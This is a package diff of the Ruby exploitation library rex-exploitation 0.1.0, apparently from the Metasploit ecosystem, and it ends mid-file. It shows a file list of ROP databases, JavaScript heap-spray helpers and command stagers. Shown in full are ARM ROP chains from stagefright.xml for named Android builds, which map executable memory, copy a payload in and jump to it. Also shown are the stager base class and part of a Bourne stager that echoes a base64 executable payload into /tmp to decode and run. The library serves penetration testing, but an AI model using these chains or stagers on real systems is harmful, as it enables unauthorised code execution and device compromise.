rex-exploitation 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +1 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +4 -0
- data/README.md +33 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/data/exploits/cmdstager/debug_asm +91 -0
- data/data/exploits/cmdstager/debug_write +819 -0
- data/data/exploits/cmdstager/vbs_b64 +40 -0
- data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
- data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
- data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
- data/data/js/detect/ie_addons.js +89 -0
- data/data/js/detect/misc_addons.js +157 -0
- data/data/js/detect/os.js +831 -0
- data/data/js/memory/explib2/lib/explib2.js +426 -0
- data/data/js/memory/explib2/payload/drop_exec.js +33 -0
- data/data/js/memory/explib2/payload/exec.js +10 -0
- data/data/js/memory/heap_spray.js +17 -0
- data/data/js/memory/heaplib2.js +192 -0
- data/data/js/memory/mstime_malloc.js +31 -0
- data/data/js/memory/property_spray.js +38 -0
- data/data/js/network/ajax_download.js +18 -0
- data/data/js/network/ajax_post.js +18 -0
- data/data/js/network/xhr_shim.js +15 -0
- data/data/js/utils/base64.js +126 -0
- data/data/ropdb/flash.xml +80 -0
- data/data/ropdb/hxds.xml +66 -0
- data/data/ropdb/java.xml +33 -0
- data/data/ropdb/msvcrt.xml +71 -0
- data/data/ropdb/reader.xml +132 -0
- data/data/ropdb/samba.xml +436 -0
- data/data/ropdb/stagefright.xml +225 -0
- data/lib/rex/exploitation.rb +7 -0
- data/lib/rex/exploitation/cmdstager.rb +11 -0
- data/lib/rex/exploitation/cmdstager/base.rb +189 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
- data/lib/rex/exploitation/egghunter.rb +423 -0
- data/lib/rex/exploitation/encryptjs.rb +79 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +70 -0
- data/lib/rex/exploitation/js/memory.rb +80 -0
- data/lib/rex/exploitation/js/network.rb +83 -0
- data/lib/rex/exploitation/js/utils.rb +32 -0
- data/lib/rex/exploitation/jsobfu.rb +17 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/exploitation/version.rb +5 -0
- data/rex-exploitation.gemspec +35 -0
- metadata +298 -0
- metadata.gz.sig +0 -0
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
2
|
+
<db>
|
|
3
|
+
<rop>
|
|
4
|
+
<compatibility>
|
|
5
|
+
<target>lrx</target>
|
|
6
|
+
</compatibility>
|
|
7
|
+
|
|
8
|
+
<gadgets base="0xb66a0000">
|
|
9
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
10
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
11
|
+
<gadget offset="0x000042f9">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
|
12
|
+
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
|
13
|
+
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
|
14
|
+
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
|
15
|
+
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
|
16
|
+
<gadget offset="0x001127b8">ptr to mmap64 (less 0x20)</gadget>
|
|
17
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
18
|
+
<gadget offset="0x0008b7d9">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
19
|
+
<gadget value="0xffffffff">mmap64 fd</gadget>
|
|
20
|
+
<gadget value="0x00000000">mmap64 fd</gadget>
|
|
21
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
22
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
23
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
24
|
+
<gadget offset="0x00058e63">pop {r4, pc}</gadget>
|
|
25
|
+
<gadget offset="0x00110438">ptr to memcpy (less 0x20)</gadget>
|
|
26
|
+
<gadget offset="0x00061597">pop {r1, r2, r7, pc}</gadget>
|
|
27
|
+
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
|
28
|
+
<gadget value="size">memcpy length (payload size)</gadget>
|
|
29
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
30
|
+
<gadget offset="0x0008b7d9">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
31
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
32
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
33
|
+
<gadget value="junk">value to be skipped (r5)</gadget>
|
|
34
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
35
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
36
|
+
<gadget offset="0x0002fed3">bx r0</gadget>
|
|
37
|
+
</gadgets>
|
|
38
|
+
</rop>
|
|
39
|
+
|
|
40
|
+
<rop>
|
|
41
|
+
<compatibility>
|
|
42
|
+
<target>lmy-1</target>
|
|
43
|
+
</compatibility>
|
|
44
|
+
|
|
45
|
+
<gadgets base="0xb66a0000">
|
|
46
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
47
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
48
|
+
<gadget offset="0x000bfdbf">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
|
49
|
+
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
|
50
|
+
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
|
51
|
+
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
|
52
|
+
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
|
53
|
+
<gadget offset="0x001137b4">ptr to mmap64 (less 0x20)</gadget>
|
|
54
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
55
|
+
<gadget offset="0x0008c269">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
56
|
+
<gadget value="0xffffffff">mmap64 fd</gadget>
|
|
57
|
+
<gadget value="0x00000000">mmap64 fd</gadget>
|
|
58
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
59
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
60
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
61
|
+
<gadget offset="0x0000f379">pop {r4, pc}</gadget>
|
|
62
|
+
<gadget offset="0x00111430">ptr to memcpy (less 0x20)</gadget>
|
|
63
|
+
<gadget offset="0x000a1251">pop {r1, r2, r7, pc}</gadget>
|
|
64
|
+
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
|
65
|
+
<gadget value="size">memcpy length (payload size)</gadget>
|
|
66
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
67
|
+
<gadget offset="0x0008c269">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
68
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
69
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
70
|
+
<gadget value="junk">value to be skipped (r5)</gadget>
|
|
71
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
72
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
73
|
+
<gadget offset="0x000301a5">bx r0</gadget>
|
|
74
|
+
</gadgets>
|
|
75
|
+
</rop>
|
|
76
|
+
|
|
77
|
+
<rop>
|
|
78
|
+
<compatibility>
|
|
79
|
+
<target>lmy-2</target>
|
|
80
|
+
</compatibility>
|
|
81
|
+
|
|
82
|
+
<gadgets base="0xb66a0000">
|
|
83
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
84
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
85
|
+
<gadget offset="0x000bfe07">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
|
86
|
+
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
|
87
|
+
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
|
88
|
+
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
|
89
|
+
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
|
90
|
+
<gadget offset="0x001137b4">ptr to mmap64 (less 0x20)</gadget>
|
|
91
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
92
|
+
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
93
|
+
<gadget value="0xffffffff">mmap64 fd</gadget>
|
|
94
|
+
<gadget value="0x00000000">mmap64 fd</gadget>
|
|
95
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
96
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
97
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
98
|
+
<gadget offset="0x0000f379">pop {r4, pc}</gadget>
|
|
99
|
+
<gadget offset="0x00111430">ptr to memcpy (less 0x20)</gadget>
|
|
100
|
+
<gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
|
|
101
|
+
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
|
102
|
+
<gadget value="size">memcpy length (payload size)</gadget>
|
|
103
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
104
|
+
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
105
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
106
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
107
|
+
<gadget value="junk">value to be skipped (r5)</gadget>
|
|
108
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
109
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
110
|
+
<gadget offset="0x0000b3bd">bx r0</gadget>
|
|
111
|
+
</gadgets>
|
|
112
|
+
</rop>
|
|
113
|
+
|
|
114
|
+
<rop>
|
|
115
|
+
<compatibility>
|
|
116
|
+
<target>shamu / LYZ28E</target>
|
|
117
|
+
</compatibility>
|
|
118
|
+
|
|
119
|
+
<gadgets base="0xb66a0000">
|
|
120
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
121
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
122
|
+
<gadget offset="0x000bfe4f">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
|
123
|
+
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
|
124
|
+
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
|
125
|
+
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
|
126
|
+
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
|
127
|
+
<gadget offset="0x0011e7b0">ptr to mmap64 (less 0x20)</gadget>
|
|
128
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
129
|
+
<gadget offset="0x0008c279">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
130
|
+
<gadget value="0xffffffff">mmap64 fd</gadget>
|
|
131
|
+
<gadget value="0x00000000">mmap64 fd</gadget>
|
|
132
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
133
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
134
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
135
|
+
<gadget offset="0x00044f71">pop {r4, pc}</gadget>
|
|
136
|
+
<gadget offset="0x0011c42c">ptr to memcpy (less 0x20)</gadget>
|
|
137
|
+
<gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
|
|
138
|
+
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
|
139
|
+
<gadget value="size">memcpy length (payload size)</gadget>
|
|
140
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
141
|
+
<gadget offset="0x0008c279">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
142
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
143
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
144
|
+
<gadget value="junk">value to be skipped (r5)</gadget>
|
|
145
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
146
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
147
|
+
<gadget offset="0x0000f7cd">bx r0</gadget>
|
|
148
|
+
</gadgets>
|
|
149
|
+
</rop>
|
|
150
|
+
|
|
151
|
+
<rop>
|
|
152
|
+
<compatibility>
|
|
153
|
+
<target>shamu / LYZ28J</target>
|
|
154
|
+
</compatibility>
|
|
155
|
+
|
|
156
|
+
<gadgets base="0xb66a0000">
|
|
157
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
158
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
159
|
+
<gadget offset="0x000bfe07">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
|
160
|
+
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
|
161
|
+
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
|
162
|
+
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
|
163
|
+
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
|
164
|
+
<gadget offset="0x0011e7b0">ptr to mmap64 (less 0x20)</gadget>
|
|
165
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
166
|
+
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
167
|
+
<gadget value="0xffffffff">mmap64 fd</gadget>
|
|
168
|
+
<gadget value="0x00000000">mmap64 fd</gadget>
|
|
169
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
170
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
171
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
172
|
+
<gadget offset="0x00044f71">pop {r4, pc}</gadget>
|
|
173
|
+
<gadget offset="0x0011c42c">ptr to memcpy (less 0x20)</gadget>
|
|
174
|
+
<gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
|
|
175
|
+
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
|
176
|
+
<gadget value="size">memcpy length (payload size)</gadget>
|
|
177
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
178
|
+
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
179
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
180
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
181
|
+
<gadget value="junk">value to be skipped (r5)</gadget>
|
|
182
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
183
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
184
|
+
<gadget offset="0x0000f83d">bx r0</gadget>
|
|
185
|
+
</gadgets>
|
|
186
|
+
</rop>
|
|
187
|
+
|
|
188
|
+
<rop>
|
|
189
|
+
<compatibility>
|
|
190
|
+
<target>sm-g900v / OE1</target>
|
|
191
|
+
</compatibility>
|
|
192
|
+
|
|
193
|
+
<gadgets base="0xb66a0000">
|
|
194
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
195
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
196
|
+
<gadget offset="0x00092b85">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
|
197
|
+
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
|
198
|
+
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
|
199
|
+
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
|
200
|
+
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
|
201
|
+
<gadget offset="0x0017af08">ptr to mmap64 (less 0x20)</gadget>
|
|
202
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
203
|
+
<gadget offset="0x000a7a41">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
204
|
+
<gadget value="0xffffffff">mmap64 fd</gadget>
|
|
205
|
+
<gadget value="0x00000000">mmap64 fd</gadget>
|
|
206
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
207
|
+
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
|
208
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
209
|
+
<gadget offset="0x00065467">pop {r4, pc}</gadget>
|
|
210
|
+
<gadget offset="0x0017a6e4">ptr to memcpy (less 0x20)</gadget>
|
|
211
|
+
<gadget offset="0x0009f359">pop {r1, r2, r7, pc}</gadget>
|
|
212
|
+
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
|
213
|
+
<gadget value="size">memcpy length (payload size)</gadget>
|
|
214
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
215
|
+
<gadget offset="0x000a7a41">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
|
216
|
+
<gadget value="junk">value to be skipped (r3)</gadget>
|
|
217
|
+
<gadget value="junk">value to be skipped (r4)</gadget>
|
|
218
|
+
<gadget value="junk">value to be skipped (r5)</gadget>
|
|
219
|
+
<gadget value="junk">value to be skipped (r6)</gadget>
|
|
220
|
+
<gadget value="junk">value to be skipped (r7)</gadget>
|
|
221
|
+
<gadget offset="0x0000c409">bx r0</gadget>
|
|
222
|
+
</gadgets>
|
|
223
|
+
</rop>
|
|
224
|
+
|
|
225
|
+
</db>
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/exploitation/cmdstager/base'
|
|
4
|
+
require 'rex/exploitation/cmdstager/vbs'
|
|
5
|
+
require 'rex/exploitation/cmdstager/certutil'
|
|
6
|
+
require 'rex/exploitation/cmdstager/debug_write'
|
|
7
|
+
require 'rex/exploitation/cmdstager/debug_asm'
|
|
8
|
+
require 'rex/exploitation/cmdstager/tftp'
|
|
9
|
+
require 'rex/exploitation/cmdstager/bourne'
|
|
10
|
+
require 'rex/exploitation/cmdstager/echo'
|
|
11
|
+
require 'rex/exploitation/cmdstager/printf'
|
|
@@ -0,0 +1,189 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
require 'rex/text'
|
|
3
|
+
require 'rex/arch'
|
|
4
|
+
|
|
5
|
+
module Rex
|
|
6
|
+
module Exploitation
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# This class provides an interface to generating cmdstagers.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
|
|
14
|
+
class CmdStagerBase
|
|
15
|
+
|
|
16
|
+
def initialize(exe)
|
|
17
|
+
@linemax = 2047 # covers most likely cases
|
|
18
|
+
@exe = exe
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
#
|
|
22
|
+
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
|
23
|
+
# The resulting commands also perform cleanup, removing any left over files
|
|
24
|
+
#
|
|
25
|
+
def generate(opts = {})
|
|
26
|
+
# Allow temporary directory override
|
|
27
|
+
@tempdir = opts[:temp]
|
|
28
|
+
@tempdir ||= "%TEMP%\\"
|
|
29
|
+
if (@tempdir == '.')
|
|
30
|
+
@tempdir = ''
|
|
31
|
+
end
|
|
32
|
+
|
|
33
|
+
opts[:linemax] ||= @linemax
|
|
34
|
+
|
|
35
|
+
generate_cmds(opts)
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
#
|
|
40
|
+
# This does the work of actually building an array of commands that
|
|
41
|
+
# when executed will create and run an executable payload.
|
|
42
|
+
#
|
|
43
|
+
def generate_cmds(opts)
|
|
44
|
+
|
|
45
|
+
# Initialize an arry of commands to execute
|
|
46
|
+
cmds = []
|
|
47
|
+
|
|
48
|
+
# Add the exe building commands
|
|
49
|
+
cmds += generate_cmds_payload(opts)
|
|
50
|
+
|
|
51
|
+
# Add the decoder script building commands
|
|
52
|
+
cmds += generate_cmds_decoder(opts)
|
|
53
|
+
|
|
54
|
+
compress_commands(cmds, opts)
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
#
|
|
59
|
+
# Generate the commands to create an encoded version of the
|
|
60
|
+
# payload file
|
|
61
|
+
#
|
|
62
|
+
def generate_cmds_payload(opts)
|
|
63
|
+
|
|
64
|
+
# First encode the payload
|
|
65
|
+
encoded = encode_payload(opts)
|
|
66
|
+
|
|
67
|
+
# Now split it up into usable pieces
|
|
68
|
+
parts = slice_up_payload(encoded, opts)
|
|
69
|
+
|
|
70
|
+
# Turn each part into a valid command
|
|
71
|
+
parts_to_commands(parts, opts)
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
#
|
|
75
|
+
# This method is intended to be override by the child class
|
|
76
|
+
#
|
|
77
|
+
def encode_payload(opts)
|
|
78
|
+
# Defaults to nothing
|
|
79
|
+
""
|
|
80
|
+
end
|
|
81
|
+
|
|
82
|
+
#
|
|
83
|
+
# We take a string of data and turn it into an array of parts.
|
|
84
|
+
#
|
|
85
|
+
# We save opts[:extra] bytes out of every opts[:linemax] for the parts
|
|
86
|
+
# appended and prepended to the resulting elements.
|
|
87
|
+
#
|
|
88
|
+
def slice_up_payload(encoded, opts)
|
|
89
|
+
tmp = encoded.dup
|
|
90
|
+
|
|
91
|
+
parts = []
|
|
92
|
+
xtra_len = opts[:extra]
|
|
93
|
+
xtra_len ||= 0
|
|
94
|
+
while (tmp.length > 0)
|
|
95
|
+
parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
parts
|
|
99
|
+
end
|
|
100
|
+
|
|
101
|
+
#
|
|
102
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
103
|
+
# before / after it -- example "echo " and " >>file"
|
|
104
|
+
#
|
|
105
|
+
def parts_to_commands(parts, opts)
|
|
106
|
+
# Return as-is
|
|
107
|
+
parts
|
|
108
|
+
end
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
#
|
|
113
|
+
# Generate the commands that will decode the file we just created
|
|
114
|
+
#
|
|
115
|
+
def generate_cmds_decoder(opts)
|
|
116
|
+
# Defaults to no commands.
|
|
117
|
+
[]
|
|
118
|
+
end
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
|
|
122
|
+
#
|
|
123
|
+
# Compress commands into as few lines as possible. Minimizes the number of
|
|
124
|
+
# commands to execute while maximizing the number of commands per execution.
|
|
125
|
+
#
|
|
126
|
+
def compress_commands(cmds, opts)
|
|
127
|
+
new_cmds = []
|
|
128
|
+
line = ''
|
|
129
|
+
|
|
130
|
+
concat = opts[:concat_operator] || cmd_concat_operator
|
|
131
|
+
|
|
132
|
+
# We cannot compress commands if there is no way to combine commands on
|
|
133
|
+
# a single line.
|
|
134
|
+
return cmds unless concat
|
|
135
|
+
|
|
136
|
+
cmds.each { |cmd|
|
|
137
|
+
|
|
138
|
+
# If this command will fit, concat it and move on.
|
|
139
|
+
if ((line.length + cmd.length + concat.length) < opts[:linemax])
|
|
140
|
+
line << concat if line.length > 0
|
|
141
|
+
line << cmd
|
|
142
|
+
next
|
|
143
|
+
end
|
|
144
|
+
|
|
145
|
+
# The command wont fit concat'd to this line, if we have something,
|
|
146
|
+
# we have to add it to the array now.
|
|
147
|
+
if (line.length > 0)
|
|
148
|
+
new_cmds << line
|
|
149
|
+
line = ''
|
|
150
|
+
end
|
|
151
|
+
|
|
152
|
+
# If it won't fit even after emptying the current line, error out..
|
|
153
|
+
if (cmd.length > opts[:linemax])
|
|
154
|
+
raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
|
|
155
|
+
end
|
|
156
|
+
|
|
157
|
+
# It will indeed fit by itself, lets add it.
|
|
158
|
+
line << cmd
|
|
159
|
+
|
|
160
|
+
}
|
|
161
|
+
new_cmds << line if (line.length > 0)
|
|
162
|
+
|
|
163
|
+
# Return the final array.
|
|
164
|
+
new_cmds
|
|
165
|
+
end
|
|
166
|
+
|
|
167
|
+
#
|
|
168
|
+
# Can be overriden. For exmaple, use for unix use ";" instead
|
|
169
|
+
#
|
|
170
|
+
def cmd_concat_operator
|
|
171
|
+
nil
|
|
172
|
+
end
|
|
173
|
+
|
|
174
|
+
# Should be overriden if the cmd stager needs to setup anything
|
|
175
|
+
# before it's executed
|
|
176
|
+
def setup(mod = nil)
|
|
177
|
+
|
|
178
|
+
end
|
|
179
|
+
|
|
180
|
+
#
|
|
181
|
+
# Should be overriden if the cmd stager needs to do any clenaup
|
|
182
|
+
#
|
|
183
|
+
def teardown(mod = nil)
|
|
184
|
+
|
|
185
|
+
end
|
|
186
|
+
|
|
187
|
+
end
|
|
188
|
+
end
|
|
189
|
+
end
|
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/text'
|
|
4
|
+
require 'rex/arch'
|
|
5
|
+
|
|
6
|
+
module Rex
|
|
7
|
+
module Exploitation
|
|
8
|
+
|
|
9
|
+
class CmdStagerBourne < CmdStagerBase
|
|
10
|
+
|
|
11
|
+
def initialize(exe)
|
|
12
|
+
super
|
|
13
|
+
|
|
14
|
+
@var_encoded = Rex::Text.rand_text_alpha(5) + '.b64'
|
|
15
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def generate(opts = {})
|
|
19
|
+
opts[:temp] = opts[:temp] || '/tmp/'
|
|
20
|
+
opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/'
|
|
21
|
+
opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/')
|
|
22
|
+
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
|
|
23
|
+
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
|
|
24
|
+
if (opts[:file])
|
|
25
|
+
@var_encoded = opts[:file] + '.b64'
|
|
26
|
+
@var_decoded = opts[:file]
|
|
27
|
+
end
|
|
28
|
+
super
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
#
|
|
32
|
+
# Override just to set the extra byte count
|
|
33
|
+
#
|
|
34
|
+
def generate_cmds(opts)
|
|
35
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
36
|
+
@cmd_start = "echo -n "
|
|
37
|
+
@cmd_end = ">>'#{@tempdir}#{@var_encoded}'"
|
|
38
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
39
|
+
opts.merge!({ :extra => xtra_len })
|
|
40
|
+
super
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
#
|
|
45
|
+
# Simple base64...
|
|
46
|
+
#
|
|
47
|
+
def encode_payload(opts)
|
|
48
|
+
Rex::Text.encode_base64(@exe)
|
|
49
|
+
end
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
#
|
|
53
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
54
|
+
# before / after it.
|
|
55
|
+
#
|
|
56
|
+
def parts_to_commands(parts, opts)
|
|
57
|
+
|
|
58
|
+
cmds = []
|
|
59
|
+
parts.each do |p|
|
|
60
|
+
cmd = ''
|
|
61
|
+
cmd << @cmd_start
|
|
62
|
+
cmd << p
|
|
63
|
+
cmd << @cmd_end
|
|
64
|
+
cmds << cmd
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
cmds
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
#
|
|
71
|
+
# Generate the commands that will decode the file we just created
|
|
72
